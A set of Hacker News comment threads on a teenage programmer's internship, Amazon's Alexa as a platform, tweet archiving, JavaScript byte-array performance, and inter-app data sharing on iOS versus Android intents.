horribly upon returning to regular life. But I'm sure there are many like me,
and I hate the thought that they had to put up with the kind of stuff you
describe.
------
untitledwiz
Please, go outside, play and run around. Learn to skate, get a
boyfriend/girlfriend. There will be so much opportunity for work later on in
life. Definitely spend time coding if that's what you love but don't make it
your everything. Develop other aspects of your personality/intelligence/body
equally. Best wishes!
~~~
Rayne
As a 19 year old software engineer who started writing code when he was 13
_because it was fun_ , I don't think this quite hits the mark.
I didn't give up everything in life to be a programmer, but it was my passion
(and it looks like it's this guy's passion as well). It _is_ fun. I still
played outside, had friends, and lived a childhood. What I got out of it are
skills that are in demand, a head start on life, and adult, mature friends who
kept me out of trouble and helped me build a fun, happy life for myself.
I owe _everything_ to programming. I was a kid from a small town in Alabama
and now I'm a happy software engineer in Los Angeles. I got to go to the first
Clojure Conj conference when I was 16, speak at the second at 17, and get an
internship that led to a job at around the same time. I met the best friends I
could have ever met through it and have had more fun that I could have ever
imagined having as a direct result of it.
That said, we're not entirely at odds. It is important to keep yourself
healthy and such and not let it completely take over your life. I just felt it
important to provide a different perspective on the matter.
~~~
untitledwiz
Different perspectives are definitely useful and thanks for taking the time to
share yours. It sounds like you have figured out the priorities in your life
and have balanced things out. That's really all I was advocating for, balance.
------
purplelobster
It's amazing that the culture can be so different. Going to college in a
European country, I never did an internship. I barely even worked summer jobs,
I did maybe one summer's worth of work spread out over a few years, just to
get some money. Even college summers were spent LANing with friends, fishing,
watching movies, swimming, traveling, reading, some recreational coding etc.
Just enjoying the summer, not worrying about my future career. It was great.
Honestly, even though I could've spent my summers doing internships, I think
it would have been rather pointless. I was already working 110% during the
school year and still learning basic math, science and related theory.
Whatever work I would've put in would have been sub-par. And that time was
great to unwind.
Imagine my astonishment when I first came to the US and kids in the first and
second year of college were doing internships at Google, Amazon and Microsoft.
Good on them I suppose, especially getting paid well to do it, but I can't see
how it helps much. Seems mostly like a way for Google et al to fish for young
talent before they graduate.
Anyway, being as excited about coding as this kid is, maybe this is the best
way for him to use his time, but the culture difference is just amusing to me.
~~~
argonaut
_> even though I could've spent my summers doing internships, I think it would
have been rather pointless._
_> I can't see how it helps much. Seems mostly like a way for Google et al to
fish for young talent before they graduate._
There is tremendous value in summer internships. You get to "test out"
companies to work for after graduation. You get to learn _a ton_ about
actually using technologies in production and/or at scale. You get to learn
from engineers who have years of industry experience. You get to work on
technologies you would otherwise never work with (e.g. big data) by yourself.
By the time you graduate, you will already have 9 months work experience,
rather than 0, which makes starting a startup a more feasible option than
before. I'm a little bewildered as to why you (or the culture in Europe?) find
these internships pointless.
If what you say about the culture in Europe is true, I find this to actually
be a competitive advantage for students/companies in the US.
------
jacalata
This is a sweet experience, but I think it's more accurately described as
'programming camp'. A company that has a business of teaching kids to program
games advertised for some kids to come in during the summer and be taught to
program games as guinea pigs. Of course, I can see why the company and the
kids involved would all be more excited to describe it as an internship, but
that doesn't mean everyone needs to let them get away with redefining the
word.
------
adamzerner
You've got a real nice sense of design: in general, and _especially_ for a 14
year old!!
And keep doing what you love. Don't worry about the SAT's your sophomore
summer. [http://www.paulgraham.com/hs.html](http://www.paulgraham.com/hs.html)
~~~
vineel
I second this. Summers should not be spent studying for the SAT.
Also, a good internship will look much better on a college app than a few
extra points.
~~~
shainvs
I think I should study for the SAT, because I'll only be giving up one of my
summers (I can intern during my Freshman, Junior and Senior summers)
~~~
krrishd
I'm looking to go to Stanford upon graduating high school (like you also
expressed an interest to do), and from what I have heard, they definitely
value SAT scores very high, but if there isn't anything besides that (like
your development/internship experience), they honestly don't care much about
your scores. And also, I'm pretty sure the SAT takes place senior year, unless
of course you are going to be using your genius capacities to do it earlier :)
~~~
vineel
Most people will take their SAT at the beginning of their Junior year. This
way they have ample time to retake if they're not happy with their scores.
Stanford, MIT, and the Ivies see the SAT as more of a threshold score. I.E.
there's not much difference between a 2300 and a 2400. As long as you have
above a certain range, you should be fine. The SAT doesn't make or break
people.
------
zachlatta
I think what you're doing is really neat. I'm also a high school student and
I'm always excited to meet others my age. I'd love it if you could shoot me an
email over at [email protected].
~~~
throwaway344
Thinking about it, we should probably make up a high school-age HNers group.
My email is [email protected] for more details.
~~~
krrishd
I've already been working on a community for high-school coders at
[http://www.teen2geek.com](http://www.teen2geek.com), and so once we launch
(beta will be out in January 2014) I would really love it if some more guys
like you could come over and contribute to the discussions. My email address
is [email protected] in case anyone wants to talk :)
------
azamsharp1
We need more kids like you! I see kids these days with their heads down in
their mobile device playing games, facebook, instagram, snapchat and what not!
They are wasting precious time. Time that will never come back!!!
~~~
shainvs
Most of the kids my age are doing exactly what you just described above. I
want to be the person making games and apps that other teens get addicted to.
~~~
krrishd
Yeah, and its really ironic how despite our generations addiction to such
games, very few of us actually know the code that goes behind it
------
asandweech
Keep on trucking. I started working full time as a SE when I was 16. The job
provided a nice relief from highschool and helped build up good working habits
before I left for college. If you are interested, see if your school would be
willing to allow for a work study so you would be able to pursue such things
during the school year.
------
visakanv
Hey Shalin, wonderful to hear from you. It's lovely to see your passion and
focus.
I'm curious to hear about your peers. Do you have a group of friends your age
that you hang out with, or do you spend most of your time with older people?
Also, random, but what kind of music do you listen to?
~~~
shainvs
I have a group of friends that are all my age. Also, at the school I go to, no
one really knows how to code.
I usually listen to the billboard playlist while coding.
[http://www.billboard.com/charts/hot-100](http://www.billboard.com/charts/hot-100)
------
exo_duz
I would've loved to be able to be given the opportunity like this. I live in
Perth and apart from mining the IT industry is non-existant. There are no
internship and mentoring program. I say grab the bull by the horns and do as
much as you can.
------
k__
I think it's still better than those kids who get pregnant at 13...
Everything can be seen as work and fun. If you do something for fun it doesn't
feel like work anymore.
I started coding with 15 and it was a good time.
------
gedrap
That's amazing, I am really happy about the founders getting teenagers as
interns. Those are life long memories for them.
~~~
rurounijones
I thought the entire point of "interns" was to give young people (i.e.
teenagers) the chance to work in a real company and get experience, usually
over school holidays etc.
I think SV (and maybe modern capitalism) has corrupted the term "intern" to be
"an excuse for us to not pay you" without the other benefits experienced by
the "intern".
[EDIT] I should clarify that I am a Brit and never heard the term "intern"
used outside of my above definition until I started reading US tech news where
it seems to be applied to older people as well.
~~~
yeukhon
Not really true. There is no corruption. White House internship doesn't pay
anyone and is one of the hottest place to work for since days. It's entirely a
decision people make. You don't want the money but the experience, you can go
for it. No one is forcing you to take a job without salary.
~~~
daven14
Internships are also good at keeping out the wrong sort of people. Lets face
it - if you can't afford to go to work and not get paid then you're not really
from a good family, and we don't want the wrong sort of people invading our
jobs. Someone with a few internships is obviously from the right stock and we
can safely employ them, providing of course they go to our club.
------
atsaloli
Very well done to both intern and MGWU!
~~~
shainvs
Thank you!
------
shainvs
The IdeyaApp link is now fixed for my portfolio page... Sorry!
------
kevonc
Thats excellent. Keep going!
------
rfnslyr
Man. You are going places. That's all I want to say. Good luck to you and I
will remember your name for the future.
~~~
shainvs
Thank you very much! I appreciate it!
------
pallandt
Excellent and I hope you acquired Proxima Nova legally. If not, better make
that right.
~~~
pallandt
I find it funny that this was downvoted into oblivion. It's valid advice,
especially considering this person is young and needs guidance/advice for best
practices.
| {
"pile_set_name": "HackerNews"
} |
Alexa: Amazon's Operating System - misiti3780
https://stratechery.com/2017/amazons-operating-system/
======
JoeCortopassi
Alexa has a fundamental short coming that stops them from being a robust
operating system like the writer describes: the cognitive load in memorizing
all possible variations of 3rd party apps on their platform. Siri might have
greater difficulty with natural language processing than Alexa, but I never
have to think much about the word order or phrasing. With Alexa, I'm
constantly feeling like I'm playing MadLibs with my eyes closed.
That being said, the openness of their platform is a huge benefit, and the
main reason I have one. I for one am very interested in seeing which improves
first: Siri's natural language processing, or Alexa's contextual matching of
their api.
I know Google Now wins in a lot of areas, and there is a group of people that
have no problem using them, but overall sentiment seems to be one of distrust
in giving them an always on microphone
~~~
throwaway2016a
I made my own app and I can't even remember how to use it. I keep saying the
wrong trigger word. It's my one gripe with Alexa is that the app name needs to
be a prefixed.
What I want to say:
> Alexa, open the garage door
What I actually need to say
> Alexa, tell Some App Name to open the garage door
~~~
theseanstewart
This is also a big gripe of mine. I created an app that can be used as a fun
"neutral" third-party when instructing my toddler to do something.
What I want it to say:
> Alexa, tell %NAME% it's time (for a nap|to go to bed|to eat dinner)
What I have to say:
> Alexa, tell Toddler Boss to tell %NAME% it's time to go to bed.
It's not natural sounding at all.
~~~
sp00ls
Russ Hanneman?
This is what he did on HBO's Silicon Valley. It was quite..weird.
~~~
TheOneTrueKyle
He's disrupting parenting!
------
TWAndrews
We got an Echo over the holidays, and watching my 7, 5 and 3 year old
daughters interact with it has given me a glimpse of what bringing home a
black-and-white TV in the 50s must have been like: Objectively it's pretty
limited, but it (voice-driven interaction, rather than the Echo specifically)
is so obviously the future it's striking.
Separately, I've told my daughters that they probably won't ever need to learn
to drive--cars will probably do it for them by the time they are driving age.
They've put two and two together, and the other day I overheard them saying
"Someday we'll be able to call an Alexa car and have it take us where ever we
want."
~~~
sakabaro
I think we still far away from "Someday we'll be able to call an Alexa car and
have it take us where ever we want.". It might or might not be possible. We
need anyway several leap in AI innovations to achieve that.
~~~
sjg007
brb.. going to start self driving car company called "a lexa".
~~~
Haydos585x2
"Alexa, get a lexa car"
"A lexus car has been purchased with Amazon One-Speak™. You have been charged
$72,040. Delivery will be between 7 to 14 days."
------
makecheck
They have to remove branding from Alexa "skills" so that more natural requests
are possible. The #1 thing preventing me from installing most "skills" is that
invariably I would have to speak "Alexa, ask <ridiculously-named product> to
X" instead of just "do X". I should also be able to use the app to write the
exact command text I want to use.
~~~
taeric
How would you prevent this from being a back door into a person's house? Or,
more directly, how do you prevent applications from stealing phrases from each
other?
That is, you are basically saying that you want everything in $PATH. This
would be like if git had decided that "log" should just do "git log".
Certainly could make sense. And I agree that users should be able to allow
this.
However, the applications? I'm not as sold. You are basically allowing a
situation where the fundamental behavior of the system would change from
installing a single skill. And it might not be clear on how or why it changed.
(Certainly not to most users.)
~~~
dv_dt
Perhaps they could let users set a skill alias.
~~~
lewisl9029
This and custom voice training for device names are on the top of my wishlist
for the Echo.
For some reason my Echo has a really hard time recognizing some of the rather
obvious names I give to my devices, like "LG TV". It'd be great if we could
train the voice recognition engine to associate certain pronunciations with a
specific device name.
~~~
dv_dt
The Alexa app does have a generic voice training selection...
------
walterbell
Alexa currently requires memorization of command sequences. Can take a while
for older users to learn.
E.g. there's a skill (AskMyBuddy) that sends a preprogrammed text to a list of
cellphones, typically a request for help. But the user needs to be trained to
remember the exact command ("Alexa Ask My Buddy to send help"), which might be
forgotten if someone is in a stressful situation.
Anecdote: tried to create a todo list with one item, "buy milk", but Alexa
would not accept this item unless you setup the ability to purchase items from
Amazon.
Weather does not work outside the US (needs a US address).
~~~
danso
However, its NLP is quite good. Having my (Vietnamese-born) parents try the
Echo Dot, I was struck by how awful their English actually is, at least in
comparison to how my brain has come accustomed to their speech patterns. For
one thing, they enunciate "Alexa" much differently than I do. And then where I
would say, "What's the weather today", they say, "What weather today is?" or
"What day this week will be snow?" To my surprise, Alexa actually understood
their convoluted phrasing, at least for the built-in skills that Alexa has had
well-honed out of the box.
~~~
Eridrus
Thanks for this comment, I hadn't really thought about how NLP may fail ESL
speakers.
Do you think your parents would be more comfortable talking to it in
Vietnamese if it was possible? I'm mostly wondering if handling good
Vietnamese is easier than handling English with poor grammar.
~~~
danso
Definitely. Their English even after 30+ years in America is at the level
where our English-English conversations are probably at the elementary grade
level (except with a few more proper nouns). I used to think that they were at
least better in understanding _my_ natural English conversation, but I've
realized that I reflexively shift to using much simpler sentences when
speaking to them. But when they're with Vietnamese friends or family, they
have conversations (in Vietnamese) just as normal adults typically do in their
native language.
Conversely, I've since realized that the Vietnamese that I _think_ I
understand is probably at the toddler level. For a very long time, I just
assumed the Vietnamese language lacked features such as pronouns and articles.
But then I realized that when my parents tell me to go wash the dishes, my
brain just fixates on "wash dishes" and ignores all the other connective
words. So I know a lot of verbs and nouns but very few words that are part of
everyday conversational speech in Vietnamese. I imagine that's what Alexa
feels like :)
Your comment made me curious how well the Google Translate app can deal with
foreign languages. I was stunned to see that it could understand my attempts
at Vietnamese. So other than a proportionately smaller dataset to learn from
(Vietnamese usage vs English usage of Google or Amazon), seems like Alexa and
Google Home could competently deal with foreign languages.
------
DannyB2
As of last week, Alexa cannot tell me how many inches per second is an atto
parsec per micro fortnight.
Google can.
Alexa can tell me how many sides a hexagon has. But cannot tell me the name of
a six sided polygon.
~~~
petra
Sure, Google offers a better technical solution.
But do they have enough incentives ? A good business model to be willing to
offer it for almost free for people ? The will to push it as hard as Amazon
does ? It doesn't seem so.
~~~
ehsankia
Maybe not as heavily as Amazon (literally adding items to your Amazon cart for
items you need), but indirectly, they do. Since Google Home is integrated with
all Google products (calendar, keep, maps, Youtube, chromecast, Android and
more to come), this keeps the user in the Google eco-system.
~~~
wstrange
Right. And it is a gateway to future Google services. Car hailing, flight
booking, etc.
------
zie
Another problem with Alexa as an OS here is Alexa, Siri, and OK Google will
never work for some classes of disability. Myself I'm Deaf/Mute, so I can't
talk to any of these things, or hear their responses, so they are 100%
completely useless to me. There is a good reason text interfaces are so
ubiquitous, they can easily be changed into Assistive Devices (like say spoken
word for the blind).
~~~
BatFastard
That may be true, but really they are a interface to decision making logic( AI
). The AI looks for text to power it, that might be spoken word, or in your
case in a few years I can see a camera reading your signing and having the
ability to sign back to you.
~~~
lazaroclapp
Would it sign back or simply display written text? Seems to me that signing
back is just an artifact of the limitations of human body movements as an
output channel... or are there many people who can read sign language faster
than they can read letters? (honest question, I don't know the answer)
~~~
dikdik
yes, many people can "read" sign faster than text. The language is not a
1-for-1 translation of English among other reasons.
~~~
Splines
Sometimes this goes horribly wrong:
[https://i.imgur.com/uxcATG6.jpg](https://i.imgur.com/uxcATG6.jpg)
------
ikeboy
>. First, no company could ever build enough phones for the world, and
secondly, to serve every customer would ruin the profit margins that make the
business model so successful.
Both seem wrong? They could produce more models at lower price points and
lower costs and maintain similar margins, like Samsung. Probably the branding
effect on margin would be smaller but would still be a healthy margin.
Am I missing the point here?
------
trequartista
Don't think that the "operating system" for the internet of things is fully
defined yet. Amazon is simply the first and the biggest mover. Google has also
launched Home. Apple has Homekit. Interesting to see how it pans out
~~~
pwthornton
Homekit is really interesting when stuff works with it (which is not a lot),
and when you can use your voice with it (which is limited).
If Apple could really get more people onboard with Homekit and build
standalone Siri devices it could be in the pole position here, but Apple
doesn't seem to get what it has with either Homekit or Siri.
Homekit makes it really easy to set up different scenes with different smart
devices and interactions. Setting these up requires good user interfaces
beyond voice. Apple gets this.
Unfortunately, Homekit is really limited right now.
------
amorphid
I can't talk about Elixir in front of Alexa. It is always chiming in "I'm
sorry, I didn't get that."
~~~
canadaj
I haven't had Alexa for long, but I haven't had it trigger off of Alexa-
sounding words yet. I did do the training in the app a couple of times when I
first got it, though. Have you tried doing the training yet?
~~~
amorphid
It belongs to a friend, so I haven't trained it. But I will probably buy one
soon, and then figure out how to use it well. I could always use a unique
phrase...
"27ffe8a1-4cd0-4739-bc46-9ad51a9c14ba, turn on the living room lights."
~~~
Arelius
No... you can't... there are only a couple pre-programmed wake-words "Alexa",
"Echo" and something or another.
~~~
krallja
The third wake word is "Amazon".
------
CodeSheikh
"The concept of an operating system is pretty straightforward: it is a piece
of software that manages a computer, making said computer’s hardware
resources"
So the author luxuriously simplified a sophisticated piece of software like an
OS to simply prove his point that Alexa can be classified as an OS because it
is a software that also manages hardware resources.
Someone please correct but I was under the impression that Alexa is merely a
facade OS and behind the scenes it is an amalgamation of sophisticated
intertwining of web services and data crunching. Can Alexa still be at its
100% without internet?
Edit 1: Grammar
~~~
DonaldFisk
Alexa runs on top of Amazon Echo, which runs on top of Amazon FireOS, which
runs on top of Android, which runs on top of Linux, which runs directly on the
hardware. Linux itself is a rewrite of Unix, which is a very pared-down
variant of MULTICS, a system developed in the 1960s.
Something which doesn't run directly on the hardware, but instead communicates
with it through several layers of intervening software, isn't an operating
system by any stretch of the imagination, however impressive it might
otherwise be.
I'm disappointed that large high-tech companies such as Amazon, Google, and
Facebook don't develop their own operating systems from scratch like Microsoft
did, but instead just take advantage of the hard (but not particularly
innovative) work put in by Linus Torvalds and other open source developers.
Building something better, using lessons learned in the intervening decades,
should be well within their grasp.
~~~
wstrange
It is hard to bootstrap a new O/S ecosystem.
Check out Google's Fuschia for an alternative
~~~
DonaldFisk
[https://fuchsia.googlesource.com/magenta/+/master/docs/mg_an...](https://fuchsia.googlesource.com/magenta/+/master/docs/mg_and_lk.md)
Yes, that's different (and, with capability-based security, a step in the
right direction). Thanks for pointing it out.
I'm not sure how Tansley's concept of ecosystems applies to software (it's
just a buzzword to me), but if you mean how to get software running on
existing systems to run on a new system, that would take time and effort. If
the operating system is intended to run on specific devices (like
Magenta/Fuchsia), it might need its own "ecosystem" anyway.
------
3am_hackernews
Slightly tangential to the post: Does anyone know how to make diagrams
(watercolor style) like the ones in OPs article and blog?
~~~
alexbilbie
I believe he uses Paper -
[https://www.fiftythree.com](https://www.fiftythree.com)
~~~
danso
This comment totally sidetracked my day. I've been searching for a way to
quickly do diagrams, but without the use of full-blown Visio-like flowchart
software. I downloaded Paper back in the day and remember when it came out
with its "Smart Shape" feature, but didn't ever think to use it for easily
sketching charts.
------
RickHull
> _More fundamentally, Amazon sought to sell the phone through hardware and OS
> differentiation, much like Apple, but the company could not be more
> different organizationally and culturally from the iPhone maker; you don’t
> make good products because you really want to, you make good products by
> fostering the conditions in which great products can be made, and Amazon’s
> deeply rooted culture of modularity and services was completely ill-suited
> for building a highly differentiated physical product._
Eh, Amazon hit it out of the park with _something_ in the Kindle line, no
matter your e-book-reading taste. They have good reason to believe they can
design products for the masses.
------
FatAmericanDev
How do I make diagrams and charts in this style?
~~~
holyjaw
Looks like that was done with Paper [1].
1:
[https://itunes.apple.com/us/app/id506003812?mt=8](https://itunes.apple.com/us/app/id506003812?mt=8)
------
roadnottaken
>"The Internet made the operating system of the computer used to access it
irrelevant"
Hyperbolic statements like this one make me stop reading. There's still PLENTY
of important Desktop computing.
~~~
robterrell
I don't think he's saying desktop computing is irrelevant. I think he's saying
which OS you use to access the internet is irrelevant.
I read your comment on a mobile device, and switched to my laptop to write
this comment. Two different operating systems, same internet.
~~~
roadnottaken
Yeah, I'm not saying smartphones aren't good or significant. Just that they
haven't _replaced_ desktop-computing -- just added to it. The article says
things like
"Android and iOS have replaced Windows in importance"
But Windows still seems plenty-important, to me. I don't see how one replaced
the other, it's just that mobile is under more dynamic development right now
because it's new.
~~~
TarpitCarnivore
The article is not saying desktop computing is irrelevant, they're saying the
choice of operating system is.
------
bkbridge
Was at an Alexa meetup. One of the senior Alexa developers was speaking. What
was said blew my mind:
We want you to use conversational UI, on any device, Apple's, MSFT, Google,
anyone you like. We think in the end, you'll have the best experience with
Echo.
How often does a mega tech company encourage you to use the competitions
products?
Think Amazon hit out of the park. Hey Google, just does not cut it for me.
Alexa, and that sultry voice, just no comparisons. (IMHO).
------
Zigurd
Having worked on voice control systems, I was impressed by the consistency
with which Alexa switches among tasks. If you are not attuned to what's going
on, it feels perfectly natural to interrupt some tasks and return to them,
while ending other tasks after briefly diverting to them. It's a
voice/media/data access task management system that needs no visual
indicators.
------
youdontknowtho
digerati type overhypes over hyped tech...news at 11.
------
gbrown_
How is the on the front page? There is nothing of merit in the article.
Edit: HN title has been corrected.
| {
"pile_set_name": "HackerNews"
} |
Wait, Who Says My Tweets Belong to Google or the Library of Congress? - RiderOfGiraffes
http://www.thebigmoney.com/blogs/sausage/2010/04/14/wait-who-says-my-tweets-belong-google-or-library-congress?page=full
======
doron
Why, the EULA you agree to in order to use the service. question answered.
| {
"pile_set_name": "HackerNews"
} |
Performance of Javascript (Binary) Byte Arrays in Modern Browsers - fogus
http://blog.n01se.net/?p=248
======
nkassis
This is interesting because I've been working on a project that uses
ArrayBuffers and I noticed an odd behavior while doing random read with
Firefox 4 on Linux (issues does not occur on OSX).
I hope more information and testing will come out but it's quite sad to see
these new array type perform so badly. But then again they are so new and most
of the speedup work focus was probably on the old javascript array type.
~~~
spullara
He sees the poor random read performance in FF 4 on all array types (and
better performance in 3.6) so I don't think it is a lack of optimization but
rather just a bug that has been introduced.
~~~
kanaka
Looks like Mozilla is tracking it down:
<https://bugzilla.mozilla.org/show_bug.cgi?id=650939>
| {
"pile_set_name": "HackerNews"
} |
What iOS Can Learn from Unix - ananddass
http://blog.inkmobility.com/post/60759200492/what-ios-can-learn-from-unix
======
tuxracer
So really this is, "What iOS can learn from a 2008 Android device"? The author
is wrong in his footnote. Android intents are both action and file type based
or even wildcard URL based.
[http://assets.sbnation.com/assets/1219228/complete-action-
an...](http://assets.sbnation.com/assets/1219228/complete-action-
android-41-jelly-bean-ss-16-verge-300.jpg)
~~~
rcoh
Ah, thanks for the heads up. I've updated the footnote.
------
nraynaud
I think they avoid a lot of features because they are immediately used for
spam. Like the tray icons for windows, the start menu entry, the desktop
icons, the chrome plugins, the menu icons in Mac OS X, the notifications etc.
The marketers are a plague, they destroy everything.
------
RyanZAG
From the footnotes:
_> Android has intents which are a big step in the right direction. With a
few tweaks to user experience they could solve this problem on the platform._
What tweaks would 'solve this problem'? As far as I can tell, Android intents
work flawlessly for transferring content between apps. I can click an
attachment on an email, open it in an editor, make changes, and then share
that file back on a social network or another email. Each step taking only two
taps. The speed of downloading attachments could do with some work in most
cases, but that's just a hardware issue and will probably be far faster in
another generation or two of hardware.
I have a feeling the author has never really used an Android device much? Or
am I missing some key piece missing from intents?
~~~
rcoh
An Android phone is my primary device. A few key issues for me:
1\. No app discovery -- I want to find out about apps that can work with my
content.
2\. Action curation -- I want to see the actions that other people think are
most useful when dealing with my content.
3\. No "Return" actions -- eg. The context knowledge necessary to reply to the
same message, or overwrite an existing file.
4\. Cross device and cross OS: If this is done right, there's no reason for
the action to be bound to just one device or even one person.
~~~
RyanZAG
1\. When you initiate any action that would use an intent in Android, you get
that selection popup window that let's you choose any app that can handle that
intent. So I think there is already app discovery? Unless you mean something
like Play Store integration into Android itself, in which you can view
applications on Google Play that can handle that intent. That is pretty
interesting and should be do-able even without Google's intervention with just
a database of Google Play apps... I looked around but didn't find anything.
Might be a cool project to try.
2\. Each app defines what intents it can handle, so I don't think curation is
necessary. The app select popup window is already curating that for you?
3\. This context knowledge is provided inside every intent. Not all apps
choose to use it, though. In some cases I'd guess the sandbox would get in the
way as well. I'm not sure how much practical value this would have anyway? Can
you explain it a bit more?
4\. There is nothing stopping Apple from adopting Android intents, but
obviously they won't. This is a 'pie in the sky' suggestion that won't happen
for the same reason there is more than one flavour of Linux. It's like asking
why you can't pipe results from your unix system to a Windows system - it just
won't happen for political reasons.
~~~
rcoh
1\. I'm thinking of it being connected with Google Play.
2\. Once you've increased the scope beyond the apps on the device, work needs
to be done to show the most relevant and useful actions.
3\. Enabling flows like:
\- Take file from one app, edit in another app, save back over the original
file
\- Take an email attachment, edit / modify in another app, then reply back on
the same thread
4\. But there is no reason a third party can't come in and make it happen.
~~~
RyanZAG
Good points. The problem with creating this is that it would need system level
access for each OS, I think. Adding these kind of intents into Windows or OSX
would be easy enough, and adding them into browsers should be possible too
(Firefox, at least, would be open to it). I can't see how you'd ever get this
added into iOS. Google is unlikely to extend intents in this way for Android
as it would break backwards compatibility also.
I think the technical challenge may be too great for current gen OSes and
browsers? Perhaps we will see a system like this arise on the 'next
battlefield', whatever that might be.
Here's hoping someone works it out. The system itself is not that difficult to
understand or to implement, it's the logistics of it that would be difficult
and (by definition) need a lot more collaboration between corps than
currently.
Web Intents [1] are a push in this direction, but adoption is extremely slow
and does not look like it is going to take place.
[1] [http://webintents.org/](http://webintents.org/)
------
gdubs
I've posted this before, but it's relevant to mention AudioBus which is a way
to pipe separate music apps together on one iOS device. I've incorporated it
into one of my apps and it works really well.
According to Michael, it's creator, it uses Mach Ports to communicate between
apps. Apple embraced it and included it with GarageBand.
~~~
alayne
At this point there is JACK, AudioBus, and soon inter-app audio in iOS7.
~~~
swift
Apparently AudioBus has already been updated to be interoperable with inter-
app audio:
[http://createdigitalmusic.com/2013/09/audiobus-for-
ios-7-upd...](http://createdigitalmusic.com/2013/09/audiobus-for-ios-7-update-
is-already-here/)
------
mscottmcbee
Android has this in the form of intents. Not quite as useful, but still works
well. Maybe look at more than just iOS when talking about "the mobile space".
~~~
pjmlp
And Windows Phone adopted it in the form of contracts as well.
------
fournm
From a user perspective, intents are more useful and cover almost everything
they're talking about. Most people really don't want to think about the how,
they just want to share something to Facebook somehow. Having a standard way
to just hook the Facebook app for it is what they really need.
It is a shame that we can't get more app functionality sharing in place, but
really I don't know if we necessarily want to bring that much dependency
management into the mobile space at large either.
~~~
rcoh
Intents are useful, but could be better. A standard way to hook into the
Facebook app is fine for Facebook but what about when the space is more
fragmented? Should app authors have to integrate with every document viewer or
Mail App?
~~~
Navarr
Standard way to hook into the Facebook app is a "Share Intent" which can be
picked up by any other social network application; such as Google+, my text
messaging app, Google Hangouts, and so many others. Even allowing "copy to
clipboard" and "Pin" and whatever else. Almost every Android app creates a
Share Intent listener to pull in data.
If there's a document viewer, it'll listen in for the file types it supports
when you try to open a file (I think its a VIEW intent). It's all very
impressive and very, very useful.
~~~
alayne
Unless they've changed it, you'll have to use the FaceBook SDK to do anything
more than post a URL. FB's intent support is bad.
------
gwu78
How about we produce an enclosure that looks about as good as an iPhone or
iPad (as some are already doing; hello Samsung). Inside we put cheap
electronics, but with no barriers to what software can be run (hello Apple)
and no barriers to inspecting each and every line of software code that will
be running on our device that we own (hello, Apple). Finally, we install our
own open source OS (say, UNIX). That UNIX might be so simple that we could, if
desired, compile it ourselves from scratch. Maybe even the compiler itself. No
better route to security, if there is such a thing.
If iOS is so great and there is demand, Apple can sell us a license to run it
on our device. My guess is that few would pay for this. More likely, the
market would demand a windowing GUI, not an entire OS (e.g., one borrowed from
CMU, FreeBSD and NetBSD; hello again Apple). Could developers respond and
deliver one?
UNIX can do lots of things well. And well enough. That's probably why iOS
relies on UNIX and not some other OS. But iOS won't let you do all the things
that UNIX will let you do.
Conclusion: iOS is inferior to other, more open, more traditional UNIX
alternatives. Apple does make a nice windowing GUI. And some very nice
enclosures. Each worth a price, no doubt. But UNIX, the code that does the
important stuff, has always been free.
~~~
alanctgardner2
There is no barrier to what software will run on your nexus device. For
example, I could put android, or Ubuntu on my Nexus 4. Doesn't that meet all
your requirements? The hardware is even sold near cost, by a well-known
manufacturer.
~~~
gwu78
It might meet some. Does it boot from external media? Can I use my own
bootloader? Android or Ubuntu are both Linux. What about something like BSD or
Plan9?
To be truthful, my "requirements" include first and foremost, a great looking
enclosure. There is a reason for that. I want be able to buy the enclosure
separately. This is important.
In my vision, there would multiple sources for boards that might fit inside.
Not every user might want or need the same computing power or peripherals.
Imagine, to take an example, if there were multiple RaspberryPi-sized boards.
Then you could mix and match different available enclosures[1] with different
boards.
1\. We are seeing the market respond with many, varied enclosures for the Pi.
There are lots of development boards for sale to consumers, and there are
dedicated people porting UNIX OS's to run on them.
What I don't see, generally, are reasonably-priced and attractive enclosures
for these boards. The RaspberryPi may be changing this state of affairs, as
the Pi enclosure market continues to grow.
Separating out the parts of the device, from the enclosure to the PCB to the
OS to the third party software is, you might say, like the UNIX userland
philosophy of isolating functions to their own individual utilities. This
separation allows more flexibility and more power, in the example of the UNIX
userland by allowing the user to filter and redirect output and connect
utilities together with pipes.
What are the things Apple does well? Enclosures and graphics, in my opinion.
(And controlling their users :) UNIX is not on the list. There are better UNIX
alternatives than iOS. My opinion.
Or, as in the article, you can wait and hope that iOS can be improved to be
more like those UNIX alternatives.
~~~
alanctgardner2
While there doesn't exist any project to run BSD or Plan 9 on a Nexus right
now, there is literally nothing stopping that from happening (except
tremendous apathy from pretty much the whole world).
I don't understand being so hung up on the enclosure. Nothing's stopping you
from fabricating new enclosures for Nexus 4s. You could even mass produce
them, and repackage new Nexus 4s as a value-added service for people. You
could, theoretically, buy up busted iPhones from ebay and repack them as
Android devices - although it'd be much easier to buy one of the million fake
iPhones from China, which are already basically reference Android devices.
On the UI side, Samsung was on the way to shipping their devices with an iOS
clone around the time of the S2. If you want an Android experience which is
very similar to iOS, you could even look at MIUI [1], which rips off a bunch
of Apple's design philosophy.
In short, everything you asked for is already very possible, it's just that
nobody is handing it to you on a platter. You could try to get rich enough to
buy 51% of Apple, and redirect their whole corporate focus. Or you could pick
an interesting project and start hacking ;)
1\. [http://en.miui.com/](http://en.miui.com/)
~~~
gwu78
Thanks for this. If I can use U-boot with Nexus 4, I will certainly
investigate.
------
k_bx
> What iOS Can Learn from Unix
Having concept of "files" to be able to open pdf you just downloaded from
email/browser inside pdf reader?
~~~
zeckalpha
Do you need the concept of files in order for that to happen?
~~~
k_bx
Well, I think yes (mimetypes at least).
~~~
zeckalpha
Sure, but the user doesn't need to know about the filesystem.
~~~
k_bx
Yes. He doesn't. He just taps on file he downloaded. Or opens reader app
(which scans all pdf's for him).
------
jpinkerton88
I would like to see this done well. However, with Apple trying to protect and
cater to the "every-day user", I wonder if we will ever see something like
this, because of the security implications that come with it.
~~~
kunai
It's a fallacy that the every-day user doesn't want or need a filesystem.
They do need a filesystem and interoperable components. What they do NOT need
is a hierarchical based filesystem that limits you to a directory trees. It's
an organizational nightmare, and unless you've ever used git before it's a
literal hell for the average user.
Instead, a flat filesystem with smart names, tagging, and metadata is the way
forward. Subdirectories will be relegated to those who want them.
As for security, that excuse is nonexistent when Apple has the final authority
to application interoperability and analysis. If an implementation is flawed,
they can reject it at will and tell the developers to improve it.
~~~
jpinkerton88
I agree. I was just trying to imagine what Apple's will do since they have
been trying for years to eliminate the file system for the every-day user,
even on OSX (iTunes, iPhoto, Notes, etc.)
------
masswerk
I think that there's more to it than what's mentioned in the article: Todays
mobile OSes (and iOS prominently) have been designed as consumer OSes. Now it
is becoming apparent that mobile devices are eventually becoming a platform
